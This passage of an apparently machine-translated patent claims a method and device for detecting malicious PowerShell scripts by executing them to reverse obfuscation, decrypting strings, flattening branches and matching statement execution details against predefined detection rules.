4. The method according to claim 1, characterized in that: The method further comprises: If the execution result contains a syntax error, it is determined that the PowerShell script file to be detected is not a malicious PowerShell script.

5. The method according to claim 1, characterized in that The method further comprises: If the PowerShell script file to be detected contains an encrypted string, decrypt the encrypted string to obtain a new code segment; Execute the code in the new code segment to obtain a new execution result, and determine a new equivalent code after the obfuscated deformation is restored based on the new execution result; Acquire new statement execution information when the new equivalent code is executed, wherein the new statement execution information includes: an original command name of the new statement, an original class name of the new statement, an original method name of the new statement, an original parameter value of the new statement, and an original parameter source of the new statement; The predefined malicious script detection rules are matched with each of the new statement execution information, and it is determined whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result.

6. The method according to claim 1, characterized in that If the PowerShell script file to be detected is not a malicious PowerShell script, and the PowerShell script file to be detected contains a branch statement, the method further includes: Flatten the branch statements to obtain flattened code, wherein the branch flattening includes: deleting branch symbols and retaining branch conditions and branch internal codes; Execute the flattened code to obtain a branch flattening execution result, and determine the branch flattening equivalent code after the obfuscated deformation restoration based on the branch flattening execution result; Obtaining branch flattening statement execution information when the branch flattening equivalent code is executed, wherein the branch flattening statement execution information includes: an original command name of the branch flattening statement, an original class name of the branch flattening statement, an original method name of the branch flattening statement, an original parameter value of the branch flattening statement, and an original parameter source of the branch flattening statement; The predefined malicious script detection rules are matched with the execution information of each branch flattened statement, and it is determined whether the branch statement is a PowerShell malicious script based on the matching result, and then it is determined whether the PowerShell script file to be detected is a PowerShell malicious script.

7. The method according to claim 1, characterized in that The method further comprises: If the result of whether the PowerShell script file to be detected is a PowerShell malicious script is not obtained within the preset time, it is determined that the PowerShell script file to be detected is not a PowerShell malicious script.

8. A detection device for PowerShell malicious scripts, characterized in that: include: An execution and determination unit, used to load and execute the PowerShell script file to be detected, obtain an execution result, and determine the equivalent code after obfuscated deformation and restoration based on the execution result; An acquisition unit, used to acquire statement execution information when the equivalent code is executed, wherein the statement execution information includes: an original command name of the statement, an original class name of the statement, an original method name of the statement, an original parameter value of the statement, and an original parameter source of the statement; The matching unit is used to match the predefined malicious script detection rules with the statement execution information, and determine whether the PowerShell script file to be detected is a PowerShell malicious script according to the matching result.

9. An electronic device comprising a memory, a processor, and a computer program stored in the memory and executable on the processor, wherein: When the processor executes the computer program, the steps of the method according to any one of claims 1 to 7 are implemented.

10. A computer-readable storage medium, characterized in that: The computer-readable storage medium stores machine-executable instructions. When the machine-executable instructions are called and executed by a processor, the machine-executable instructions prompt the processor to execute the method according to any one of claims 1 to 7.

Images